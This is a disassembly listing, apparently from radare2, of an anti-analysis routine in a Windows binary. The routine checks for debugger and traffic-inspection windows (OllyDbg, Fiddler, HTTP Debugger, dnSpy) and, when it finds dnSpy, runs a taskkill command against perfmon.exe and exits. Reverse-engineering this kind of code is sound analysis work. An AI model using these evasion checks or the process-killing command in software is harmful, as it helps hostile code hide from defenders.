lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005672e
call fcn.140054424
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056743
call fcn.140054424
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056758
call fcn.140054424
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005676d
call fcn.140054424
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056782
call fcn.140054424
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400575c0
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400567b6
call fcn.140054424
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400567cb
call fcn.140054424
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400567e4
call fcn.140054424
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400567fd
call fcn.140054424
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056812
call fcn.140054424
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005682b
mov ecx, reloc.WLDAP32.dll_Ordinal_200
mov edx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.taskkill__F__T__IM_perfmon.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
or ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3